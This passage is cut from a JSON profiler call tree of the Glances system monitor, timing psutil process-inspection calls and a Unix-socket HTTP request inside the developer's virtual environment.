\"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.002519,\"attributes\": {\"cUnixHTTPAdapter\": 0.002519015994039364, \"l644\": 0.002519015994039364},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002519,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002519015994039364, \"l787\": 0.002519015994039364},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002519,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002519015994039364, \"l534\": 0.002519015994039364},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002519,\"attributes\": {\"cUnixHTTPConnection\": 0.002519015994039364, \"l571\": 0.002519015994039364},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002519,\"attributes\": {\"cUnixHTTPConnection\": 0.002519015994039364, \"l1430\": 0.002519015994039364},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002519,\"attributes\": {\"cHTTPResponse\": 0.002519015994039364, \"l331\": 0.002519015994039364},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.002519,\"attributes\": {\"cHTTPResponse\": 0.002519015994039364, \"l292\": 0.002519015994039364},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.002519,\"attributes\": {\"cSocketIO\": 0.002519015994039364, \"l725\": 0.002519015994039364},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.002519,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002519,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.063449,\"attributes\": {\"cProcesscountPlugin\": 0.06344899500254542, \"l85\": 0.06344899500254542},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.063449,\"attributes\": {\"cGlancesProcesses\": 0.06344899500254542, \"l617\": 0.05945019600039814, \"l647\": 0.0019988200001535006, \"l659\": 0.001999979001993779},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.059450,\"attributes\": {\"cGlancesProcesses\": 0.05945019600039814, \"l478\": 0.05145193400676362, \"l493\": 0.007998261993634515},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.051452,\"attributes\": {\"l1541\": 0.0022463090062956326, \"l1558\": 0.04920562500046799},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002246,\"attributes\": {\"l1485\": 0.0022463090062956326},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002246,\"attributes\": {\"l1526\": 0.0022463090062956326},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002246,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002246,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.049206,\"attributes\": {\"cProcess\": 0.04920562500046799, \"l578\": 0.0032095659989863634, \"l579\": 0.03999741800362244, \"l572\": 0.005998640997859184},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001210,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997425999434199, \"l382\": 0.001997425999434199},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997425999434199, \"l1138\": 0.001997425999434199},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997425999434199, \"l1593\": 0.001997425999434199},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997425999434199, \"l1878\": 0.001997425999434199},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999519001401495, \"l812\": 0.001999519001401495},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999519001401495, \"l1593\": 0.001999519001401495},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999519001401495, \"l2267\": 0.001999519001401495},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999519001401495, \"l1593\": 0.001999519001401495},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988240019301884, \"l680\": 0.0019988240019301884},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988240019301884, \"l1593\": 0.0019988240019301884},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988240019301884, \"l1740\": 0.0019988240019301884},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988240019301884, \"l1593\": 0.0019988240019301884},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988240019301884, \"l382\": 0.0019988240019301884},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988240019301884, \"l1687\": 0.0019988240019301884},\"children\": [{\"identifier\": \"bytes.rfind\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001820001169108, \"l939\": 0.002001820001169108},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001820001169108, \"l1593\": 0.002001820001169108},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001820001169108, \"l2052\": 0.002001820001169108},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001820001169108, \"l1593\": 0.002001820001169108},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001820001169108, \"l382\": 0.002001820001169108},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001820001169108, \"l1719\": 0.002001820001169108},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998123996600043, \"l680\": 0.001998123996600043},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998123996600043, \"l1593\": 0.001998123996600043},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998123996600043, \"l1740\": 0.001998123996600043},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998123996600043, \"l1593\": 0.001998123996600043},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998123996600043, \"l382\": 0.001998123996600043},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998123996600043, \"l1683\": 0.001998123996600043},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001998,\"attributes\": {\"l730\": 0.001998123996600043},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001998,\"attributes\": {\"l719\": 0.001998123996600043},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002399978693575, \"l939\": 0.0020002399978693575},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002399978693575, \"l1593\": 0.0020002399978693575},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002399978693575, \"l2052\": 0.0020002399978693575},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002399978693575, \"l1593\": 0.0020002399978693575},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002399978693575, \"l382\": 0.0020002399978693575},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002399978693575, \"l1718\": 0.0020002399978693575},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0020002399978693575},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003997231004177593, \"l382\": 0.003997231004177593},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019981730001745746, \"l1127\": 0.0019981730001745746},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019981730001745746, \"l1593\": 0.0019981730001745746},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019981730001745746, \"l1835\": 0.0019981730001745746},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999058004003018, \"l1138\": 0.001999058004003018},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999058004003018, \"l1593\": 0.001999058004003018},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999058004003018, \"l1882\": 0.001999058004003018},\"children\": [{\"identifier\": \"<lambda>\\u0000<string>\\u00001\",\"time\": 0.001999,\"attributes\": {\"l1\": 0.001999058004003018},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000878994294908, \"l687\": 0.002000878994294908},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000878994294908, \"l748\": 0.002000878994294908},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000878994294908, \"l1593\": 0.002000878994294908},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000878994294908, \"l1750\": 0.002000878994294908},\"children\": [{\"identifier\": \"TextIOWrapper.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999278007133398, \"l836\": 0.001999278007133398},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999278007133398, \"l1595\": 0.001999278007133398},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999690997763537, \"l382\": 0.001999690997763537},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999690997763537, \"l1138\": 0.001999690997763537},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999690997763537, \"l1593\": 0.001999690997763537},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999690997763537, \"l1879\": 0.001999690997763537},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001879\",\"time\": 0.002000,\"attributes\": {\"l1880\": 0.001999690997763537},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020024429977638647, \"l680\": 0.0020024429977638647},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020024429977638647, \"l1593\": 0.0020024429977638647},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020024429977638647, \"l1740\": 0.0020024429977638647},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020024429977638647, \"l1593\": 0.0020024429977638647},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020024429977638647, \"l382\": 0.0020024429977638647},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020024429977638647, \"l1683\": 0.0020024429977638647},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.0020024429977638647},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l719\": 0.0020024429977638647},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003998836997197941, \"l382\": 0.003998836997197941},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003998836997197941, \"l1138\": 0.003998836997197941},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003998836997197941, \"l1593\": 0.003998836997197941},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003998836997197941, \"l1880\": 0.001999754000280518, \"l1882\": 0.001999082996917423},\"children\": [{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"<lambda>\\u0000<string>\\u00001\",\"time\": 0.001999,\"attributes\": {\"l1\": 0.001999082996917423},\"children\": [{\"identifier\": \"tuple.__new__\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999689004558604, \"l680\": 0.002000323998800013, \"l687\": 0.001999365005758591},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000323998800013, \"l1593\": 0.002000323998800013},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000323998800013, \"l1740\": 0.002000323998800013},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000323998800013, \"l1593\": 0.002000323998800013},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000323998800013, \"l382\": 0.002000323998800013},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000323998800013, \"l1709\": 0.002000323998800013},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999365005758591, \"l748\": 0.001999365005758591},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999365005758591, \"l1593\": 0.001999365005758591},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999365005758591, \"l1751\": 0.001999365005758591},\"children\": [{\"identifier\": \"TextIOWrapper.read\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.0019997939962195233, \"l148\": 0.0019997939962195233},\"children\": [{\"identifier\": \"next\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002057997742668, \"l1064\": 0.002002057997742668},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002002,\"attributes\": {\"l1682\": 0.002002057997742668},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002002,\"attributes\": {\"l538\": 0.002002057997742668},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999705004389398, \"l680\": 0.003999705004389398},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999705004389398, \"l1593\": 0.003999705004389398},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999705004389398, \"l1740\": 0.003999705004389398},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999705004389398, \"l1593\": 0.003999705004389398},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999705004389398, \"l382\": 0.003999705004389398},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999705004389398, \"l1683\": 0.003999705004389398},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.002000865999434609},\"children\": [{\"identifier\": 